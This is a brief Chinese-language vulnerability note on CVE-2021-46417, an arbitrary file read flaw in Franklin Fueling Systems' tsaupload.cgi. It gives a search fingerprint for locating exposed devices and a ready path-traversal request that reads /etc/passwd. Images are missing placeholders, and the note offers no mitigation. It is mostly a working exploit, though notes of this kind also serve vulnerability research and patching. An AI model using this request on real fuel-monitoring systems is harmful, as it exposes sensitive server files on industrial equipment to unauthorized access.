Franklin Fueling Systems tsaupload.cgi 任意文件读取漏洞 CVE-2021-46417

漏洞描述

Franklin Fueling Systems tsaupload.cgi 存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器敏感文件

漏洞影响

Franklin Fueling Systems

网络测绘

"Franklin Fueling Systems"

漏洞复现

主页面

img

验证POC

/cgi-bin/tsaupload.cgi?file_name=../../../../../../etc/passwd&password=

img